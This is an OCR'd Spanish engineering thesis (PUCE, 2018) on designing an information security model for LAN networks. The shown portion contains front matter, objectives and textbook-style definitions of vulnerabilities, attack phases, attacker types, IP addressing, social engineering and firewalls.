PONTIFICIA UNIVERSIDAD CATOLICA DEL ECUADOR

FACULTAD DE INGENIERIA

INGENIERIA DE SISTEMAS Y COMPUTACION

DISERTACION PREVIA A LA OBTENCION DEL TITULO DE INGENIERA EN

SISTEMAS Y COMPUTACION

“DISENO DE UN MODELO DE SEGURIDAD DE INFORMACION EN REDES LAN”

AUTOR:

ANA CRISTINA TUFINO GALAN

DIRECTOR:

Mtr. DAMIAN ANIBAL NICOLALDE RODRIGUEZ

QUITO, JULIO 2018.



DEDICATORIA

“Siembra un acto y cosecharas un hébito.

Siembra un habito y cosecharas un caracter.

Siembra un cardcter y cosecharas un destino”

Charles Reade.

El presente trabajo de disertacion se lo dedico en primer lugar a Dios, quien siempre ha
sido mi luz, protector y guia para tomar el camino correcto y avanzar pese a las adversidades en
el camino. A mis padres: Jorge Marcelo y Nehi, que son un ejemplo a seguir, brindandome todo
suamor, comprension y apoyo incondicional para que siga siempre mis suefios. A ellos que nunca

dejaron de creer en mi y por ensefiarme que con esfuerzo y sacrificio se consigue el éxito.

A mis hermanas Gabriela Fernanda, que es mi ejemplo a seguir, por su constancia y
perseverancia, a Andrea Alejandra, que vea en mi un referente para que culmine su carrera,
siempre persiga sus suefios y no se deje vencer por las adversidades, a mi primo Fausto Harry,
para que siga el ejemplo de mis hermanas y el mio, para que culmine sus estudios y se realice

profesionalmente.

A mi mejor amigo Juan Carlos que siempre estuvo presente, alentandome y apoyandome
incondicionalmente, a mi amiga Pamela Belén por brindarme calidez, risas, consejos y estar
presente cuando mas lo necesité, finalmente y no menos importante a todos mis amigos, por

hacer de esta carrera momentos increibles e inolvidables.



AGRADECIMIENTO

La disertacion de mi tesis, la dedico con todo mi corazon y amor a Dios, a quien agradezco
por haberme permitido culminar con éxitos y bendiciones mis objetivos. Gracias por ser mi apoyo
espiritual incondicional porque ha sabido guiar mi camino para culminar la etapa mas importante

de mi formacion profesional.

A mis padres y hermanos, porque me brindaron su amor, su apoyo moral y el mas
importante el apoyo econémico, para estudiar en tan prestigiosa Universidad, haciendo posible

que mi suefio se haga realidad.

De manera especial a mi Director de tesis Msc. Damian Nicolalde, por haberme guiado
en la presente titulacion y brindarme el apoyo desinteresado para desarrollarme como una

verdadera Ingeniera de Sistemas.

Gracias a mi profesora preferida Suyana Arcos, quien con sus sabios consejos y su alegria
contagiosa me ayudo a llegar a uno de mis anhelados suefios. Al Ing. Charles Escobar, que ha
compartido sus conocimientos para formarme como profesional gracias a sus consejos y

recomendaciones.

Mis mas sinceros agradecimientos a mi querida Universidad la Pontificia Universidad
Catolica, del Ecuador, a todos los que forman parte de la Facultad de Ingenieria de Sistemas, a
mis queridos profesores, amigos y compafieros gracias y que Dios los bendiga, por su paciencia,

apoyo incondicional y amistad



RESUMEN

El presente trabajo de disertacion tiene como finalidad Disefiar un Modelo de Seguridad
de Informacién para Redes LAN, basadas en ataques y vulnerabilidades que pueda tener una red

al momento de intercambiar informacion entre si.

Se desarroll6 a través de un metodo cientifico los cuales aplican conceptos puntuales
sobre redes, sistemas operativos, hacking ético incluida sus aplicaciones, andlisis de tréfico,

escaneo de puertos, entre otros.

Las herramientas que se han utilizado son: Oracle VM Virtual Box, Maquina Virtual Kali
Linux, Méaquina Virtual Metaexploitable 2, Maquina Virtual Windows 7, Maquina Virtual
Windows XP, Wireshark, Ettercap, Yersinia, John de Ripper, Zenmap Linux, Nmap, Consola de
comandos de cada uno de los sistemas operativos, Simuladores de red GNS3 y Cisco Packet
Tracer, Firewall Untangle siendo utilizados con el objetivo de simular posibles ataques y

mitigaciones hacia la red.

Como resultado de todo este analisis se obtiene las mejores medidas preventivas para ser
una posible guia en el disefio y construccion de redes para cualquier tipo de empresa basadas en
la familia de la 1ISO 27000, Por otro lado, el uso de la maquina virtual Kali Linux permitio
realizar este analisis gracias a sus herramientas incluidas ya que se ha creado con el objetivo de
auditar y asegurar cualquier red, ademas Wireshark fue la aplicacion mas utilizada para analizar

el trafico antes y después de cada uno de los ataques desarrollados.

11SO 27000: Define estandares para lograr un sistema de gestion de seguridad de la informacién, garantizando

que la informacidn se trasmita de manera segura, confiable e integra.



Este trabajo de disertacion puede ser utilizado como un manual para realizar simulaciones
de los ataques desarrollados méas adelante; se detalla y explica con ejemplos sencillos como
funcionan los ataques en la red. Considerar que no se puede responsabilizar por el mal uso de la

misma.
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1. CAPITULO I

1.1 INTRODUCCION

En la actualidad las computadoras se encuentran presentes en todas las actividades
cotidianas del ser humano (Arnedo Moreno, 2013), para esto el intercambio de comunicacion
también es un aspecto relevante, la importancia de tener una excelente red permitira que su

desempefio sea lo méas optimo posible.

Segun datos del INEC, hasta el afio 2016 todas las empresas, organizaciones incluso
hogares tienen el 36% de acceso a internet (INEC, 2016); tomando en cuenta que desde su
creacion como medio de interconexion global se ha tenido problemas de inseguridad que se

ha ido incrementando de una manera alarmante.

A medida que las instituciones, empresas y otras organizaciones ampliaban su nimero
de trabajadores, esta también se incrementaba en nimero de computadoras, incluyendo la
configuracion de redes que permitan transmitir todo tipo de informacion y recursos que se

puedan compartir dentro o fuera de la organizacion u empresa, ahorrando tiempo y dinero.

Cuando se habla de intercambiar informacion, se aplica un término muy importante y
especifico, que es la seguridad de informacion, por este motivo a lo largo del tiempo se
consider6 herramientas y técnicas que se usan para fortalecer los tres principios
fundamentales de un sistema informaético, todo depende del sistema, su funcién y todos los

factores de riesgo que puedan amenazarlo.

La seguridad de informacion puede estudiarse como un proceso que se puede
implementarse en 7 niveles, estudiados desde abajo hacia arriba: Nivel 1: Fisico, Nivel 2:

Enlace, Nivel 3: Red, Nivel 4: Transporte, Nivel 5: Sesion, Nivel 6: Presentacion y Nivel 7:

Aplicacion.
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El caso particular de TCP/IP es un derivado de 4 capas que se referencia en el modelo
OSI, que simplifica la arquitectura en 4 capas (Stallings, 2004) sobre las cuales,
conceptualmente se pueden identificar los 7 niveles, e identificar las vulnerabilidades y

seguridades a aplicarse por capas.

1.2 ANTECENDENTES

El 12 enero del ano 2010 nace “Operacion Aurora”. ;De qué se trata esto? Es el
nombre que recibe un ataque masivo contra varias corporaciones internacionales entre las
cuales se menciona a Google, Adobe Systems, Yahoo, Rackspace incluidas 30 méas que hasta
el dia de hoy no se han dado a conocer. Basicamente, el ataque fue originado en China con
el objetivo de exhibir las vulnerabilidades del navegador Internet Explorer en sus versiones
6,7 y 8, la cual contenia una gran falla, el control remoto total de una maquina victima hacia

personas que tenian privilegios de acceso especiales.

El ataque se baso en la propagacion de exploits?> mediante correo electronicos los
cuales supuestamente eran de confianza, entonces a través de un link los invitaban a acceder
a una pagina de Internet y después surgio lo que hoy en dia se llama “Ciberataques” siendo

uno de los mas sofisticados hasta ahora registrados.

Las consecuencias de este ataque fueron devastadoras, debido a que los dafios
oscilaron entre 6,3 millones de ddlares y tomando en cuenta que muchas compafiias
multinacionales fueron afectadas directamente, actualmente se cuestiona el hecho de que aun

el 20% de la poblacién utilice esta herramienta de navegacion.

2 Exploits: Agujeros de Seguridad
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Ante este antecedente deja en evidencia que ninguna empresa incluso multinacionales
cuentan con una seguridad del 100% ya que no se encuentran exentos de vulnerabilidades,
ataques Yy riesgos. Sin embargo, disefiar un modelo de seguridad permitira que la empresa

tome medidas de prevencion que deben ser consideramos como una estrategia global.

1.3 OBJETIVOS

1.3.1 General
1.3.1.1 Disefiar un modelo de seguridad para la Interconexion de Sistemas Abiertos

(OSI), que permita establecer mecanismos de proteccion en las 7 capas.

1.3.2 Especificos

1.3.2.1 Determinar los principios fundamentales de la seguridad de informacion

aplicada a la red.

1.3.2.2 Analizar el funcionamiento y las vulnerabilidades de los 7 niveles del

modelo OSI.

1.3.2.3 Identificar los tipos de ataques y medios de prevencion en cada nivel que se

presentan en el modelo OSI.

1.3.2.4 Estudiar comparativamente las herramientas que permitan proteger las

comunicaciones a través de las 7 capas del modelo OSI

1.3.2.5 Establecer los mecanismos de proteccion en cada nivel OSI
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2. CAPITULO Il: FUNDAMENTOS TEORICOS

2.1 Seguridad Informatica y Seguridad de la Informacion

En la actualidad la informaética y las redes se han convertido en un recurso

indispensable, desde el punto de vista de seguridad tenemos dos conceptos relevantes:

La Seguridad de la Informacién: “Es el conjunto de medidas y procedimientos,
tanto humanos como técnicos que permiten proteger la integridad, confiabilidad y

disponibilidad de la informacion” (Escriva Gasco, Romero Serrano, & Ramada, 2013).

La Seguridad Informética: “Es una rama de la seguridad de la informacion que
trata de proteger la informacién usando infraestructura informética y de
telecomunicaciones para ser almacenada o trasmitida” (EscrivdA Gascd, Romero

Serrano, & Ramada, 2013).

Sin olvidar al autor (Gomez Vieites, 2011) que tiene un concepto mas concreto
debido a que explica a la “Seguridad Informatica” como un proceso y no como un
producto que se puede comprar o instalar, consta de ciclos repetitivos para la prevencion,

deteccion, respuesta y riesgos ante accidentes.

Se debe considerar que los conceptos expuestos con anterioridad son diferentes,
pero asemejandose en la basqueda de un objetivo en comun, la proteccion de datos e

informacion ante cualquier ataque que perjudique gravemente a la empresa.
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2.2 Importancia de la Seguridad Informatica

Muchas empresas se encuentran vulnerables a ciertos tipos de ataques, amenazas
0 riesgos ya sea por personas ajenas, intrusos o programas maliciosos que su principal

objetivo es lograr el fracaso de una entidad.

Por tal motivo, la proteccidn y seguridad de la informacion es esencial para evitar
ataques informaticos, entre los cuales consta robo y/o pérdida de informacion,
suplantacion de identidades, denegaciones de servicios, entre otros. Todas las empresas
ya sean pequefas o grandes deben resguardar los recursos que consideren valiosos como
datos, software o hardware, cabe recalcar que los usuarios también deben tener
conocimientos basicos sobre como mantener la seguridad informatica de su computadora

y tener todos sus datos seguros.

En sintesis, la seguridad informética no es un juego y se debe dar la importancia
suficiente por medio de medidas necesarias como el contratar personal con experiencia o

entidades que se dediquen a realizar auditorias para evitar futuras pérdidas.

2.3 Tipos de Seguridad Informatica

2.3.1 Seguridad Fisica

“Medidas de prevencion y deteccion destinadas a evitar dafios fisicos a los

>

sistemas informdticos y proteger los datos almacenados en ellos”. (Escriva

Gascd, Romero Serrano, & Ramada, 2013).

Para evitar cualquier tipo de dafios fisicos se debe tener en cuenta los

siguientes aspectos:
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2.3.1.1 Entorno Fisico
De tipo inundaciones, terremotos, tornados, incendios entre otros.
2.3.1.2 Entorno Humano

De tipo robos, sabotajes, actos voluntarios e involuntarios.

2.3.2 Seguridad Logica

“Conjunto de medidas destinadas a la proteccion de los datos y
aplicaciones informéticas, asi como a garantizar el acceso a la informacion
Unicamente por las personas autorizadas” (Escrivd GascO, Romero Serrano, &

Ramada, 2013).

2.4 VVulnerabilidad

El autor (Escriva Gasco, Romero Serrano, & Ramada, 2013) considera a una
vulnerabilidad como: “Debilidad de un activo que pueda repercutir de alguna forma

sobre el correcto funcionamiento de un sistema informatico”.

Las vulnerabilidades pueden aparecer en elementos basicos de una computadora
como en sistemas operativos, aplicaciones, inclusive en cableados de red, medios de

almacenamientos, entre otros.

Estas debilidades permiten a un atacante quebrantar los 3 pilares fundamentales
de la seguridad informatica (integridad, confidencialidad y disponibilidad), asumiendo el

control total y acceso a los datos, informacion inclusive aplicaciones.
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2.5 Agujeros de Seguridad

“Errores o fallos que se asocian al mal funcionamiento o implementacion de un
sistema, es importante y necesario corregir estas vulnerabilidades cuando se las detecte
ya que puede causar una inestabilidad de seguridad del sistema en general ” (Escriva

Gascd, Romero Serrano, & Ramada, 2013).

2.6 Ataques

(Baca Urbina, 2016) considera que existen 2 tipos de ataques definidos que hace
a la empresa u organizacion mas vulnerable a ataques, motivo por el cual no se podra

prevenir todas las amenazas que puedan existir en el entorno.

2.6.1 Intencionados

“Accesos no autorizados al sistema, donde el atacante consigue acceder a
los recursos del sistema sin tener autorizacion para ello, con el objetivo principal
de robar informacion o alterar registros, ademés puede emplearlos con fines
inapropiados aun cuando tiene autorizacién para usarlos, por ejemplo,

vandalismo, terrorismo, entre otros” (Baca Urbina, 2016).

2.6.2 No Intencionados
“Son hechos que perjudican a la informacion, a la tecnologia informatica
(TI) o a la empresa sin que ocurra por las acciones intencionales de alguien. Por

ejemplo: incendios, inundaciones, fallas de suministro de energia eléctrica,

errores o equivocaciones de usuarios, entre otros” (Baca Urbina, 2016).
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2.7 Fases de un Ataque

Se consideran todos los puntos vulnerables que pueda existir dentro de un sistema
informatico, siendo de tipo software, hardware incluyendo factores humanos con el
principal objetivo de obtener beneficios generalmente econdmicos; derivando en gran

impacto negativo en una empresa.

Un ataque informatico basicamente desestabiliza, dafia o toma el control total de
un sistema informatico, por tal motivo se busca procedimientos y las mejores practicas
que reduzcan en un gran porcentaje cualquier tipo de ataque a la que se encuentre

expuesto.

Entonces, el estudio de la seguridad informatica nos ayuda a comprender cuales
son las debilidades mas comunes y los riesgos asociados a esta; por tal motivo se han
desarrollado cinco fases que facilitara esta identificacion con el propdsito de desplegar

de manera inteligente ciertas estrategias de seguridad que logren ser efectivas.

Por otro lado, (Mamani Quisbert, 2013) expresa que una atacante debe tomar con
suma importancia y cuidado cada una de las cinco fases debido a que cada una de ellas
llevaran al éxito de su objetivo, caso contrario un pequefio descuido podria provocar

consecuencias graves como: multas, prision, entre otros.

2.7.1 Reconocimiento

Es un estudio previo que hace un atacante hacia su victima u objetivo, es

extrae toda la informacién como sea posible.
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2.7.2 Escaneo

Es organizar toda la informacion de la fase de “Reconocimiento”, toma lo
mas importante para realizar un analisis profundo y de esta manera identificar las

caracteristicas mas relevantes para encontrar vulnerabilidades.

2.7.3 Obtener Acceso

Es aplicar una estrategia planteada después de haber pasado por la fase de
“Escaneo”, sin embargo, es la mas critica de todas las fases ya que debe utilizar
conjuntamente todas las habilidades y herramientas adquiridas para realizar
cualquier tipo de ataque. Es un paso decisivo ya que se podra visualizar el alcance

del ataque.

2.7.4 Mantener Acceso

Consiste en conservar el acceso que se gan6 en la fase de “Obtener
Acceso” en el sistema. Se usa herramientas de Sniffer con el objetivo de capturar
todo el trafico que pasa por la red, con el objetivo de conocer con qué dispositivos

de red se encuentra trabajando la victima y efectuar cualquier tipo de ataque.

2.7.5 Borrar Huellas

En esta fase se debe usar todas las herramientas posibles para evitar que
existan registros de las acciones del victimario debido a que si la victima encuentra

0 sospecha de algun rastro extrafio podria ser detectado.
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Reconocimiento Escaneo Obtener Acceso

Cubrir Huellas

Mantener Acceso

llustracion 2-1: “Fases de un Ataque Informatico”

2.8 Tipos de Atacantes

En este apartado se mencionaré los tipos de atacantes que puedan existir para los

sistemas informaticos, seguin (Conecta Software, 2017) los mas comunes son:

2.8.1 Hacker

Son aquellos que se destacan por su excelencia y habilidad en la rama de la
programacion y electronica, poseen altos conocimientos en ordenadores y redes
informaticas. Su principal objetivo es buscar y detectar vulnerabilidades de una

computadora o red informatica.

2.8.2 Cracker

Son atacantes que tienen avanzados conocimientos en programacion y
electronica, el cual les permite “romper” las protecciones de sistemas y software.

Todas estas acciones las realizan por el valor econdmico que puedan obtener.

2.8.3 White Hats
Se los conoce como “Hackers Eticos”, son expertos en informatica debido

a gue usan sus conocimientos para buscar vulnerabilidades. Ademas, realizan test
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de penetracion para estudiar y corregir fallos de seguridad logrando mejorar los

sistemas en materia de seguridad.

2.8.4 Grey Hats

Son aquellos que usan las mismas técnicas de los “White Hats”, buscan
vulnerabilidades para luego venderlas a quien esté dispuesto a pagar por ellas. Entre

su publico se encuentra gobiernos, servicios militares y otros hackers.

Adicionalmente, se pueden presentar como expertos en seguridad para
resolver fallos encontrados. Basicamente se enfoca en las ganancias econémicas que

perjudicar a empresas.

2.8.5 Black Hats

Usan conocimientos para realizar actividades ilegales, suelen ser creadores de
tipo de malware y ademas de beneficiarse econdmicamente buscan aumentar su

reputacion.
2.8.6 Newbie
Son atacantes novatos que busca comenzar en el mundo del hacking; no sabe

absolutamente nada de reglas o el peligro que conlleva realizar un ataque (OWASP,

2017).
2.8.7 Scriptkiddie
Son aquellos que usan programas Yy scripts desarrollados por otros para
atacar sistemas de computadoras y redes. No poseen ninguna habilidad para

programar sus propios exploits, por lo que buscan impresionar o ganar reputacion

(OWASP, 2017).
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2.8.8 Lammers

Son atacantes que presumen de ser piratas informaticos, cracker o hacker.
Intentan usar programas de facil manejo los cuales son realizados por auténticos
hackers. No poseen habilidades para manejar software basico o conocidos.-

(OWASP, 2017).

2.8.9 Gurl

Son atacantes maestros que ensefian a los hackers, se tratan de personas
adultas porque ya poseen la experiencia necesaria sobre sistemas informaticos y
estan alli para ayudar a jovenes que recién se estan iniciando en el mundo del

hackeo (OWASP, 2017).

Para terminar, la informacion que atraviesa por medio de una red se encuentran
vulnerables a la accién de todo tipo de hackers, crakers y entre otros; los cuales realizan
fallos en los sistemas informéticos incluyendo a servidores web que permiten tener un
acceso privilegiado para administrar y realizar cualquier tipo de accion ya sea beneficiosa

0 no para la empresa.

2.9 Hacking Etico

Es un proceso que analiza los sistemas informéticos asumiendo el rol principal de
un ciberdelincuente de tal manera que simule ataques con el objetivo de evaluar el estado
real de la seguridad de la informacién de una empresa. (Socialetic, 2018), expresa que
para realizar un hacking ético es necesario contar con previas autorizaciones de dicha
empresa el cual se encuentre plasmado en un documento donde se indique las

obligaciones que debe cumplir un auditor como la confidencialidad, integridad, secreto
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profesional, entre otros. EI resultado de este proceso es indicar cuales son los puntos

débiles y los pasos a seguir para eliminar o mitigar sus vulnerabilidades.

2.10 Amenazas

Es considerada como: “Cualguier entidad o circunstancia que atente contra en
buen funcionamiento de un sistema informdtico” (Escriva Gasco, Romero Serrano, &

Ramada, 2013).

También cuenta como la posibilidad que pueda provocar dafios permanentes sobre
la informacion ya sea de tipo econémico y/o material; lo fundamental es buscar la manera

que no se quebrante los 3 pilares de la seguridad de la informacion.

2.11 Riesgos

Es considerada como: “Probabilidad de que una amenaza se materialice”

(Escriva Gasco, Romero Serrano, & Ramada, 2013).

En términos generales, una empresa u organizacion siempre tiende a estar
amenazada de sufrir algin dafio en su sistema informatico, desembocando en graves

pérdidas de diversos tipos debido a sus vulnerabilidades

Los niveles de riesgo a los que se pueda estar expuesto un activo, dependera de la
probabilidad de que se materialice una amenaza y en el grado de impacto, tomando en
cuenta que no existe un riesgo cero ya que no es posible prever y evitar todas las
situaciones a los que se puedan estar expuesto nuestros sistemas. A continuacion, se

muestra en la lustracion 1-2 los tipos de niveles y con sus respectivos tipos de riesgo:
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Nivel Tipo de riesgo

Alto Robo de informacion

Robo de hardware
Medio Accesos no autorizados
Muy bajo Inundaciones

lustracion 2-2: “Niveles de riesgo que se puedan materializar”, (Escriva Gasco,

Romero Serrano, & Ramada, 2013)

2.12 Impacto

Se considera como: “Medicion y valoracion del dario que podria ocasionar un

incidente de seguridad hacia la empresa” (Gémez Vieites, 2011)

Es muy importante valorar el impacto por lo que se debe clasificar tanto los
dafios tangibles como la estimacion de dafios intangibles, por este motivo es de gran
ayuda realizar entrevistas en profundidad con los responsables de cada area con el
objetivo de determinar cudl seria el impacto real de la pérdida, robo y alteracion de la

informacion.

2.13 Protocolo

“Conjunto de normas y procedimientos que los diseriadores de una red eligen o
establecen para que utilicen los componentes de dicha red” (Castafio Ribes & Lépez

Fernandez, 2013).
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2.14 Estandares

“Es un modelo o patron que se propone para que distintos fabricantes lo sigan y
elaboren componentes que sean compatibles entre si. Pueden proceder de una iniciativa
propia de las empresas, estandares de facto, organismo oficial, entre otros” (Castafo

Ribes & Lopez Fernandez, 2013).

2.15 Capa o Nivel

“Estructura de diferentes funciones y servicios que tiene como objetivo
normalizar o estandarizar las técnicas de comunicacion, favorece la conectividad entre
equipos de diferentes fabricantes que comparten un mismo estandar” (Abad Domingo,

2013).

2.16 Arquitectura de Red

“Conjunto organizado de capas y protocolos que la red usa para comunicarse

entre si a través de nodos” (Abad Domingo, 2013).

Para que una arquitectura de red sea encuentre bien estructurada, debe cumplir

con las siguientes caracteristicas basicas:

2.16.1 Tolerancia a Fallos
Ayudar a limitar el impacto de error de software o hardware y recuperarse

de dicho error rapidamente.

2.16.2 Escalabilidad

Permitir el crecimiento de las redes sin involucrarse en su funcionamiento.
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2.16.3 Calidad de Servicio

Establecer como prioridad el suministrar una calidad de servicio para los

usuarios.

2.16.4 Seguridad
Establecer mecanismos de seguridad para que la informacion llegue

correctamente desde su origen hasta su destino.

2.17 Servicios

Es el proceso de comunicacion entre capas definiendo cada uno de sus limites; es
decir, emplea una division modular de interfaces entre capas mas sencillas. Gracias a la
organizacion jerarquica propuesta por el modelo OSI3, cada nivel atendera “peticiones”

del nivel inmediatamente superior, ocultando detalles irrelevantes para dicho nivel.

2.17.1 Orientado a la Conexion

Son servicios que requieren el establecimiento de una conexién antes de
empezar a trasmitir cualquier dato, durante este proceso los equipos de red que

van a comunicarse pueden decidir ciertos parametros para su comunicacion.

2.17.2 No Orientado a la Conexién

Son servicios que no requieren del establecimiento de una conexion para

poder comunicarse.

3 OSI: Open System Interconnection (Interconexion de Sistemas Abiertos)

38



2.18 Unidades de Informacién

De acuerdo a la definicion del autor (Romero Ternero, y otros, 2014), las
entidades que pertenecen al mismo nivel, tienden a intercambiar informacién, los cuales

siguen un formato predeterminado de acuerdo a un protocolo.

2.18.1 Unidad de Datos de Protocolo (PDU)

Es la unidad de datos de un protocolo, los mensajes que se coloca como un

prefijo el cual indica al nivel que pertenece, es decir (2-PDU, 3-PDU, entre otros).

2.18.2 Unidad de Datos de Servicio (SDU)

Es la unidad de datos de servicio, se los conoce como datos de nivel

superior.

2.18.3 Informacion de Control de Protocolo (PCI)

Es la informacién de control que posee un protocolo para trabajar en uno

de los niveles del modelo OSI.

¥ APDU 7 Nivelde aplicacion

6 PPDU 6 Nivel de presentacion

5 SPDU 5 Nivel de sesion

4 Segmento o TPDU 4 Nivel de transporte

3 Paquete 3 Nivelde red

D 2|07 Trama 2 Nivel de enlace

Bits 1 Bits 1 Nivelfisico

lustracion 2-3: “Cabeceras asociadas a cada nivel OSI”, (Escriva Gascd, Romero

Serrano, & Ramada, 2013)
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La llustracion 1-3 explica detalladamente las cabeceras asociadas directamente a
cada nivel y su respectiva correspondencia en la jerarquia de los 7 niveles del modelo

OSI.

Cuando un usuario necesita transmitir datos hacia un destino, el sistema de red
afiade informacion de control para cada uno de los servicios que utilizara la red para

ejecutar la orden de transmision. (Abad Domingo, 2013).

2.19 Direccion IP

Es el nimero que identifica un equipo dentro de una red que use el protocolo
IP. Cada direccion IP es Unica, ayudando a la comunicacion de dos maquinas a traves
del Internet para lograr identificarse y localizarse entre si. Sin embargo, se debe tener
en cuenta que las direcciones IP difieren de las direcciones MAC, debido a que esta
Gltima es un namero fijo asignado a la tarjeta de red por un fabricante mientras que las

direcciones IP pueden cambiar dindamicamente. (Romero Ternero, y otros, 2014).

Por otro lado, existen tres tipos de redes segin su nimero de bits dedicados a

las partes de red y de host, los cuales se detallan a continuacion:

2.19.1 Clase A

Empiezan por el bit 0, es decir su primer octeto se encuentra en el rango

de 0-127.

2.19.2 Clase B

Empiezan por los 10 bits, es decir su primer octeto esta en el rango de

128-191, son ideales para empresas ya que se trata de redes pequefias.
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2.19.3 Clase C

Empiezan por los 110 bits, es decir su primer octeto esta en el rango de
192 en adelante, existen muchas de este tipo siendo bastante pequefias

(alrededor de 256 host).

Sin embargo, la autora (Navarro Lacoba, 2014) incluye dos tipos de clases de

redes entre las cuales tenemos:

2.19.4 Clase D

Se usa para establecer direcciones de multienvio o multicast®, su primer

bit es 1110, es decir su primer octeto se encuentra entre 224 y 239.

2.19.5 Clase E
Su funcién es para el futuro, se encuentran reservadas para el uso

experimental de proyectos en la red, su primer octeto varia entre 240 y 255.

Bits de Numero o F Numero Numero Valores
bits para la Numero : X

Clase mayor 22 de bits de hosts del primer

€S0 Clischn Ce races ara el host or red octeto

P de red P P

A (0] 8 126 24 16.777.214 0-127
B 10 16 16.384 16 65.534 128-191
C 110 24 2.097.152 8 254 192-223

D 1110  No aplicable No aplicable No aplicable No aplicable = 224-239 |

E 1111 No aplicable No aplicable No aplicable No aplicable 240-255

llustracion 2-4: “Numero de redes y su tamafio para cada direccion IP”, (Romero

Ternero, y otros, 2014)

4 Multicast: Los datagramas son entregados a varios hosts dentro de la red.
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2.20 Direccion MAC

Es aquella que permite identificar los distintos dispositivos que se encuentran
conectados a un mismo medio compartido. Es un numero binario que identifica de forma

Unica un dispositivo en un medio compartido. (Castafio Ribes & Lopez Fernandez,

2013).

2.21 Modo Promiscuo de una Tarjeta de Red

Es cuando un adaptador acepta todas las tramas que recibe, vayan o no
destinadas a é€l; esta configuracion es especialmente util si queremos analizar todo el

trafico que pasa por un determinado punto de red. (Castafio Ribes & LApez Fernandez,

2013).

2.22 Subred

(Navarro Lacoba, 2014) explica que cada direccion IP incluye una
identificacion de la red y la identificacion de un host dentro de la red. Estas subredes
sirven para una organizacion a nivel interno de las direcciones IP, por lo cual aplica una

técnica enmascaramiento llamada mascara de subred.

2.23 Ingenieria Social

1.23.1 Tipos de Ingenieria Social

Es un conjunto de préacticas que tiene como objetivo obtener informacién
mediante la manipulacion de los usuarios que sean legitimos y tengan accesos
privilegiados, las victimas se veran confundidas por el atacante para dar

informacidn de manera voluntaria o incluso sin darse cuenta de ello.
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1.23.1.1 Ataque Telefdnico

El atacante realiza una Ilamada telefonica a la victima
haciéndose pasar por alguien mas, es un modo muy efectivo ya que no

se conoce fisicamente a atacante (Castellanos Sandoval, 2011).

1.23.1.2 Ataque via Internet

Son ataques que se basa en correos electrénicos, conversaciones
en chat, foros, llenando formularios falsos, entre otros. A través de este
medio se obtienen informacién facilmente sin conocer fisicamente al

atacante (Castellanos Sandoval, 2011).

1.23.1.3 Ataque Dumpster Diving

Son ataques que se basan en la busqueda de informacion
relevante en la basura como agendas de trabajo, unidades de
almacenamiento, organigramas, entre otros (Castellanos Sandoval,

2011).

1.23.1.4 Ataque Via SMS
Es un ataque que se aprovecha de las aplicaciones de los
celulares, el atacante envia un mensaje SMS a la victima haciendo

creer que el mensaje pertenece a una promocion o servicio

(Castellanos Sandoval, 2011).
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1.23.1.5 Ataque Cara a Cara

Es el medio mas eficiente pero complicado de realizar ya que el
atacante debe tener habilidad social y poder manejar cualquier tipo de

situacion que se le presente (Castellanos Sandoval, 2011).

2.24 Firewall

“Software especializado que se interpone entre las aplicaciones de software de

red para realizar un filtrado de paquetes” (Roa Buendia, 2013).

Los cortafuegos tienen como funcion principal proteger de ataques externos a
las computadoras, servidores que se encuentren en la red monitoreando su trafico
entrante y saliente decidiendo si se permiten o bloguean, tomando en cuenta ciertas

medidas de seguridad.

El autor (Baca Urbina, 2016) menciona que este software se ubica en la tercera
capa del modelo OSI (Capa de Red) de tal manera que funcione como un punto de unién
entre dos redes. Por otra parte, el firewall controla el nimero de conexiones que se
encuentran activas en un mismo punto y bloguea aquellas que excedan cierto nimero
de conexiones. Del mismo modo controla que el tipo de aplicaciones que acceden a

Internet, entre otras funciones.

Para una empresa u organizacion, el firewall depende de la politica se
seguridad, configurando las reglas de operacidon para permitir o rechazar cualquier
solicitud de conexidn. Sin embargo, proteger al cien por ciento todas las amenazas de
las computadoras o redes es imposible debido a que los cortafuegos poseen ciertas

limitantes que solo permiten la proteccion de aquellos ataques que pasan en forma
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directa por la capa de red siendo totalmente vulnerable a los otros tipos de atagques como

dafo o robo de informacion proveniente de los empleados.

7 capas del modelo 0SI

Nivel de aplicacion

Nivel de red

Router

Enlace de datos
Nivel fisico

\ 4

@ Switch

Firewall en
capa de red

NSNS

lustracion 2-5: “Ubicacion de un Firewall en un red LAN”, (Baca Urbina, 2016)

45



3. CAPITULO II: CARACTERIZACION DE LA SEGURIDAD DE LA

INFORMACION

3.1 Principios Fundamentales de la Seguridad de la Informacion a la Red

“Seguridad de la Informacion” son medidas que impiden la ejecucién de
operaciones no autorizadas sobre un sistema o red informatica, cuyos efectos pueden
conllevar dafios sobre la informacion comprometiendo su confidencialidad, autenticidad
o integridad y disminuyendo el rendimiento de usuarios no autorizados al sistema (Gémez

Vieites, 2011).

Sin embargo, la Seguridad de la Informacion asocia un amplio conjunto de
definiciones, protocolos, métodos y reglas los cuales tienen como principal objetivo
proteger la infraestructura computacional, activos de una empresa y toda la informacion

que circula a través de las redes de computadoras.

(Costas Santos, 2014) expone que los componentes de un sistema informatico
siempre se encuentran expuestos a un ataque entre los cuales se incluye hardware,

software y datos, por lo que es muy importante su proteccion.

Entonces, si la seguridad de la informacion también se encarga de la informacion,
esta puede adoptar diversas formas, por lo que para su correcta gestién en su seguridad
se basa en 3 principios fundamentales los cuales segln la norma ISO/IEC 17799 se debe
perseverar la confidencialidad, integridad y disponibilidad (CIA) de sus activos de

informacion.
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3.1.1 Confidencialidad

Para los siguientes autores, este principio se define como:

“Garantia que los datos, objetos y recursos que se ha transmitido o
almacenado en un sistema informatico solo pueden ser leido por su legitimo

destinatario.” (Alvarez Marafion & Pérez Garcia, 2004).

“Cualidad que debe poseer un documento o archivo para ser entienda de

manera comprensible o sea leido por la persona o sistema autorizado.” (Costas

Santos, 2014).

Entonces, la informacion puede encontrarse circulando entre dos equipos
por medio de una red de comunicaciones o puede estar almacenada en dispositivos

fisicos (USB, disco duro, memoria, entre otros).

Sin embargo, este principio no se encuentra exento de vulnerabilidades por
lo que es expuesto a capturas de trafico que circulan por la red cuando no existe

informacion cifrada, accesos no autorizados a los recursos, fallos de autenticacion.

Un claro ejemplo de este principio es cuando se trasmite un archivo o
documento cifrado, si la persona conoce la clave puede acceder a él, caso contrario
sera imposible.

3.1.2 Integridad

“Garantizar que un mensaje o fichero no ha sido modificado desde su

creacion o durante su transmision a través de una red informatica” (Gomez Vieites,

2011).
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Sin embargo, el autor (Roa Buendia, 2013) expone que el principal objetivo
es que los datos queden almacenados tal y como espera el usuario, es decir que no

se alteren sin su conocimiento.

Este principio es vulnerable a modificaciones no autorizadas durante su
almacenamiento, transporte o procesamiento, fallos humanos involuntarios, mala

codificacion, borrar o reemplazar informacion.

